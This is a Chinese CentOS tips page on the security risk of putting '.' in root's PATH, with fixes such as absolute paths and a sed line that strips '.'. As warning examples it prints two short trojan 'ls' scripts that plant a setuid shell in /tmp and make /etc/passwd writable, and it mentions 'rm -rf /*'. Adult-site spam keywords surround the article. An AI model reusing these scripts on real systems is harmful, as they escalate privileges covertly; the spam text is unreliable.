国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務(wù)器之家:專注于服務(wù)器技術(shù)及軟件下載分享
分類導(dǎo)航

Linux|Centos|Ubuntu|系統(tǒng)進(jìn)程|Fedora|注冊表|Bios|Solaris|Windows7|Windows10|Windows11|windows server|

服務(wù)器之家 - 服務(wù)器系統(tǒng) - Centos - centos環(huán)境變量如何設(shè)置安全問題?

centos環(huán)境變量如何設(shè)置安全問題?

2019-06-13 09:48centos之家服務(wù)器之家 Centos

很多朋友不知道centos環(huán)境變量如何設(shè)置安全問題?今天小編將為大家?guī)韈entos 環(huán)境變量設(shè)置安全問題;希望對大家會有幫助,有需要的朋友一起去看看吧

.是代表當(dāng)前目錄。如果將這點(diǎn)寫入root的環(huán)境變量,執(zhí)行腳本時(shí),你只需要打腳本的名字,系統(tǒng)就會在當(dāng)前的目錄下找該腳本并執(zhí)行。

例如,一個(gè)U盤插入電腦,你打了一個(gè)文件名字,系統(tǒng)就會執(zhí)行U盤中的該文件,如果有木馬程序,也會被執(zhí)行,比如腳本中有rm -rf /* 這樣的命令,你的系統(tǒng)就會被刪除。

設(shè)想一下,有一個(gè)人在一個(gè)他能寫的目錄下寫了一個(gè)名為ls的可執(zhí)行程序,程序會把/etc/shadow文件發(fā)送到某一郵箱,而root又恰巧在那個(gè)目錄下,想ls下,結(jié)果是什么呢?

所以,很多安全要求高的Unix系統(tǒng)甚至要求用絕對路徑調(diào)用命令

本文主要講述“.”在LINUX的環(huán)境變量PATH中所帶來的問題,及解決的幾種方法。

正如很多人所知道的$PATH環(huán)境變量里存著一張目錄列表,當(dāng)用戶要執(zhí)行某一程序時(shí),系統(tǒng)就會按照列表中的內(nèi)容去查找該程序的位置。當(dāng)程序名前不帶點(diǎn)斜線 . / 時(shí)$PATH就會起作用。

對于普通用戶和root用戶$PATH里默認(rèn)是不包含"."來指定用戶的當(dāng)前目錄。這在本機(jī)進(jìn)行腳本開發(fā)的程序員來說卻不方便,想圖省事的人就把點(diǎn)加到了搜索路徑中,這就等于在你的系統(tǒng)埋下了險(xiǎn)情。

例如:root為了方便使用在他的當(dāng)前路徑末尾加了個(gè)點(diǎn)"."(搜索目錄為代表當(dāng)前目錄)

命令操作如下:

[root@rh root]# PATH=$PATH:.

[root@rh root]# echo $PATH

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

這下是方便了,直接輸入腳本名就能執(zhí)行。OK,正常情況下一點(diǎn)問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設(shè)的腳本文件名)。有的root把PATH=$PATH:.這條命令加到了profile里,使所有用戶到分享你給他們帶來的"福音"。更有勝者root用戶竟然PATH=.:$PATH(將":"加到路徑前是另一種形式)。正常請況下一點(diǎn)問題沒有,直到有一天,張三用戶在他的主目錄下放了名為lls的腳本,并對root說他的系統(tǒng)出問題了希望root能幫他解決。(其實(shí)是一個(gè)trap)。Root一上來就su 成管理員權(quán)限,緊更著列了一下目錄。有可能管理員誤敲成了lls,結(jié)果哈哈。。。。

以下是個(gè)簡單的C shell 的例子

#!/bin/csh

If ( ! -o /bin/su )

goto finish

cp /bin/sh /tmp/.sh

chmod 7777 /tmp/.sh

finish :

exec /bin/ls $argv | grep -v ls

稍微變形就有個(gè)B shell的

#!/bin/sh

if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

cp /bin/sh /tmp/.sh

chmod 4755 /tmp/.sh

fi

exec ls "$@"

如果root將其環(huán)境變量$PATH包含了"."并且其位置先與ls所在的系統(tǒng)目錄,那么當(dāng)用戶在/tmp中執(zhí)行l(wèi)s時(shí),執(zhí)行的是上面給出的腳本,而不是實(shí)際的ls命令,因?yàn)樽罱K還是執(zhí)行了ls,所以root不會看出有任何異常。如果是root執(zhí)行了該腳本,就會將口令文件設(shè)置為可寫,并將shell復(fù)制到/tmp保存為.sh,同時(shí)設(shè)置其setuserid位,所有這一切都非常安靜地發(fā)生。

在以上這兩個(gè)程序里,心懷不鬼的人能寫入任何令root急的要跳樓的程序,部下陷阱等root來鉆,也許root在不知不覺中施行了也根本不會察覺。 也許在張三的主目錄下有一個(gè)名為ps的腳本里面包含有危險(xiǎn)腳本,root可能一到他的機(jī)器前就輸入了ps,此時(shí)系統(tǒng)會首先到當(dāng)前目錄下搜索,結(jié)果/sbin/ps卻不被執(zhí)行。類似這樣的小花招還有很多。

管理員同志,不要太緊張,下面我說說解決辦法。

首先,要養(yǎng)成輸絕對路徑的良好命令行輸入習(xí)慣,這樣就不會讓"不法份子"乘虛而入了。比如,列目錄最好用/bin/ls來列目錄,不要圖方便而冒然輸入ls。

其次,根用戶(root)不要把"."包括到搜索目錄列表里,而普通用戶如果個(gè)"."包括到搜索列表中的話別,則"."就應(yīng)當(dāng)放在搜索目錄列表的最后位置上。這樣一來普通用戶不會受到前面所述的那種危害。

最后,可以在登陸時(shí)在/etc/profile 和bashrc .profile文件的末尾添加如下一行

[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

這個(gè)簡單的sed命令將刪除路徑里所有的"."包括其另一形式"::"

還可以由crontab調(diào)用定期執(zhí)行

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

來搜索所有以點(diǎn)開頭的文件,再發(fā)送到root的郵箱里,再進(jìn)行比較等任務(wù)。

延伸 · 閱讀

精彩推薦
  • CentosCentOS6.5下Redis安裝與配置詳細(xì)步驟

    CentOS6.5下Redis安裝與配置詳細(xì)步驟

    本篇文章主要介紹了CentOS6.5下Redis安裝與配置詳細(xì)步驟,詳細(xì)介紹redis單機(jī)單實(shí)例安裝與配置,服務(wù)及開機(jī)自啟動。有興趣的可以了解一下。...

    飛流11452021-12-24
  • CentosCentOS下Uptime命令詳解

    CentOS下Uptime命令詳解

    在Linux下,我們可以使用uptime命令,而且此命令不必使用root權(quán)限。uptime命令在系統(tǒng)中已經(jīng)默認(rèn)安裝了。今天小編為大家?guī)淼氖荂entOS下Uptime命令詳解;希望...

    CentOS之家11482019-06-19
  • Centoscentos 安裝與操作方法

    centos 安裝與操作方法

    這篇文章主要介紹了centos 安裝與操作方法,需要的朋友可以參考下...

    centos之家5272019-07-11
  • Centoscentos不小心刪除/root目錄該如何解決?

    centos不小心刪除/root目錄該如何解決?

    一些朋友最近在問小編centos不小心刪除/root目錄該如何解決?今天小編就為大家分享centos不小心刪除/root目錄解決辦法;希望對大家會有幫助,有需要的朋友...

    腳本之家8022019-05-29
  • CentosCentOS7設(shè)置日期和時(shí)間方法以及基本概念介紹

    CentOS7設(shè)置日期和時(shí)間方法以及基本概念介紹

    這篇文章主要介紹了CentOS7設(shè)置日期和時(shí)間方法以及基本概念介紹,本文講解使用CentOS7中的新命令timedatectl設(shè)置日期時(shí)間方法,需要的朋友可以參考下 ...

    CentOS之家6522019-09-19
  • CentosCentOS 6.6實(shí)現(xiàn)永久修改DNS地址的方法

    CentOS 6.6實(shí)現(xiàn)永久修改DNS地址的方法

    這篇文章主要介紹了CentOS 6.6實(shí)現(xiàn)永久修改DNS地址的方法,涉及針對CentOS配置文件的相關(guān)設(shè)置技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下 ...

    Linux社區(qū)4472020-08-21
  • CentosCentos 7開啟網(wǎng)卡自動獲取IP的詳細(xì)方法

    Centos 7開啟網(wǎng)卡自動獲取IP的詳細(xì)方法

    本篇文章主要介紹了Centos 7開啟網(wǎng)卡自動獲取IP的詳細(xì)方法,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧...

    凌鋒8972021-12-29
  • CentosCentos7運(yùn)用/dev/shm進(jìn)行網(wǎng)站優(yōu)化

    Centos7運(yùn)用/dev/shm進(jìn)行網(wǎng)站優(yōu)化

    這篇文章主要介紹了LINUX中Centos7運(yùn)用/dev/shm進(jìn)行網(wǎng)站優(yōu)化相關(guān)知識點(diǎn),對此有興趣的朋友參考學(xué)習(xí)下。...

    彬菌9912022-03-02
主站蜘蛛池模板: 久久精品久久久久电影 | 26uuu国产电影一区二区 | 中文日韩在线 | 国产免费一区二区 | 欧美精品一区二区三区在线 | 亚洲精品视频免费在线观看 | 视频在线一区 | 国产成人福利在线 | 日韩av影片 | 四虎影视在线观看 | 国产精品免费久久久久影视 | 国产丝袜视频 | 国产精品ssss在线亚洲 | 韩国av一区二区 | 国产精品久久久久久久久久免费看 | 一区二区三区精品 | 日本久久国产 | 免费日韩视频 | 中文字幕一区二区三区四区五区 | 免费日韩 | 99精品一区二区三区 | 中文字幕国产在线视频 | 成人在线视频网站 | 国产精品视频久久 | 国产黄a三级三级看三级 | 噜噜噜在线 | 精品国产乱码久久久久久影片 | 欧洲亚洲精品久久久久 | 精品久久久久久久久久久久久久久久久久 | 999精品在线 | 韩日中文字幕 | 中文字幕av第一页 | 日韩高清一区 | 国产日日夜夜操 | 老女肥熟av免费观看 | 三级在线不卡 | 久久性精品 | 亚洲一区二区精品视频 | 国产视频久久 | 国产美女在线观看 | 久久久免费 |